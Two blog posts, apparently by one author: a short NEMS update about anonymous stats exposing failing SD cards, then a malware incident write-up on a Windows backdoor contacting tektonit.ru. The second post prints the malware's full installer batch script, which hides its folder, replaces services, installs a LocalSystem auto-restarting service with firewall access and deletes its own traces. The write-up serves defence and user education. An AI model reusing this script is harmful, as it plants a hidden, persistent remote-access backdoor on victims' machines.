Bad SD cards in a NEMS Server Raspberry Pi

With the coming release of NEMS 1.3, the retroactive stats system was implemented to allow me a way to see how many systems have been upgraded, and if any are having trouble.

Now, behind the scenes, I also developed the anonymous stats system as a way for me to gauge system load on various platforms.

Why would I do that? Because NEMS is branching out onto other SBC’s, starting with the ODROID XU4.

The fact remains, I often get the question “How many hosts can I add to NEMS” and the truth is, I have no idea! I’ve received great feedback from users who are monitoring 100+ hosts on a Raspberry Pi NEMS server, but otherwise I don’t really know much about what’s actually going on in the real world of NEMS.

So the stats system shows me, anonymously, how NEMS is being used, and how it is performing.

So, that system has been running for a few days, and today I began seeing some alerts: some users have bad SD cards!

This is causing their NEMS server to run very, very slowly.

If your NEMS server is running slowly, you may be one of these! Remember, the stats are anonymous, so I can’t contact you.

I’ve considered making the stats system able to send back a response to your NEMS server… that way, even though it’s anonymous and I don’t know who you are, I can have the system programmatically warn you that your card is failing.

It’s really quite cool for me to see how NEMS is being used. So far more than 100 NEMS servers have reported in with their current statistics, and many are running more than 100 nagios monitors with a 0.01 load average.

So back to my comment about branching out to other SBCs and knowing how many hosts we can handle on NEMS: the fact is, now that I will have real world statistical data, I will be able to put together proper information about how many services can be running on NEMS on various platforms! It’ll start with the Pi 3 obviously, but I’ll be able to see for example, how a NEMS server with 500 hosts has a higher load than one with 100, so we can therefore recommend if you have 500 hosts or more, you should install on an ODROID XU4 (for example). I’ll also be creating new graphs that show comparisons of various platforms, performance graphs over time, averages based on user deployments, and so-on. Really exciting stuff!

Thanks for using NEMS! If you have any questions, I’m here for you!

Robbie

A nasty piece of work in C:\ProgramData\WindowsWork

I encountered a nasty bit of malware today which wasn’t being seen by antivirus. Malwarebytes was popping up every 5 seconds with a warning that some executable file on Windows 10 was trying to reach a blocked web site… tektonit.ru

A quick Google search made it clear that the domain being contacted is associated with the Troj/RemAdm-AG and Backdoor.Gussdoor trojans, the second of which opens a backdoor to the domain in question. The attacker then has access to read and write files, access the registry, spawn processes and even take screenshots. In our case, they also installed keylogger.bestfreekeylogger.a which lets them record keystrokes like passwords, credit card numbers, emails, or any other content entered via the computer.

Nasty.

The user had both a McAfee antivirus product and Avast Free installed. Neither of which were really complaining about the threat, yet Malwarebytes continued its little dance in the corner “Website blocked – Domain: tektonit.ru” and variants thereof.

Malwarebytes also did something else nice for me: it showed the process location. It was running a file in C:\ProgramData\WindowsWork, which to an end-user appears to not exist if you try to navigate to it.

I installed ESET Internet Security, which picked up and removed the keylogger (two variants) that the other applications left behind, but the malware reaching out to the attacking server was not detected.

Jumping into an admin terminal, the directory doesn’t show since its attributes are set to +s +h (system, hidden). Within the folder, the files themselves are also hidden and set with the system attribute, making them pretty much invisible to end users. And strangely, antivirus also did not see it.

Removing the attributes, I was now able to see and open the files. One such file was the installer used to deploy the malware.

Here’s how it installed itself:

@echo off
attrib +s +h "C:\ProgramData\WindowsWork"
cd C:\ProgramData\WindowsWork\
 
sc stop RManService
sc stop ServiceWork
sc delete RManService
sc delete ServiceWork
taskkill /im rfusclient.exe /f
taskkill /im rutserv.exe /f
reg delete "HKLM\SYSTEM\System Information\Driver" /f
 
regedit /s "C:\ProgramData\WindowsWork\config_set.reg"
"C:\ProgramData\WindowsWork\syswork.exe" /silentinstall
"C:\ProgramData\WindowsWork\syswork.exe" /firewall
regedit /s "C:\ProgramData\WindowsWork\config_set.reg"
sc failure ServiceWork reset= 0 actions= restart/1000/restart/1000/restart/1000
sc config ServiceWork obj= LocalSystem type= interact type= own
"C:\ProgramData\WindowsWork\syswork.exe" /start
 
del C:\ProgramData\WindowsWork\config_set.reg /q
del C:\ProgramData\WindowsWork\WinUpdate.exe /q
del C:\ProgramData\WindowsWork\WorkInstall2.bat /q
attrib +s +h "C:\ProgramData\WindowsWork\*.*"
del C:\ProgramData\WindowsWork\WorkInstall.bat /q
 
exit

Interesting, in that this now sheds some light on why antivirus isn’t picking it up… it’s likely not even a virus. And to boot, UAC would have stopped this script from running, which means the end user had to have allowed it. Once again proves my point that Windows UAC is useless because novice users will just say yes to any stinking dialogue you throw at them!

So the script, as you can see, destroys legitimate Windows services and replaces them with itself. That makes it tough to detect.

I killed the services, deleted the services, and then purged all the files in the C:\ProgramData\WindowsWork\ and removed the folder. Instantly, Malwarebytes went to sleep.

A reboot and full system scan as administrator with ESET Internet Security, and all looks well. Hopefully the firewall in EIS will do a better job of keeping the user from answering “Yes” to the wrong questions… but ultimately it’s up to educating users to think, and understand, before clicking.

The malware is gone. However, there’s no way to know how far the attacker got. It appears as though the service files were not viruses at all, but rather basic programs that reach out to tektonit.ru to obtain legitimate malware and install it. Basically, the stuff in C:\ProgramData\WindowsWork\, which the user authorized being installed, was benign from an antimalware standpoint. It was not a virus: it was a tool being used by an attacker to propagate their tools, malware and possibly viruses/trojans. But because of the nature of it, it also worked as a bit of a smokescreen.

In this instance, had Malwarebytes’ Premium version not been installed (which does active protection, not just on-demand scanning), the user would have been wide open to the smokescreen application and its desire to install all kinds of unknowns on the user’s system.

ESET Internet Security is now installed, along with Malwarebytes Premium. These two products combined should provide about the best level of protection available to Windows users today.

Get ESET Internet Security: https://cat5.tv/esetus

Get Malwarebytes Premium: http://amzn.to/2x2HCz2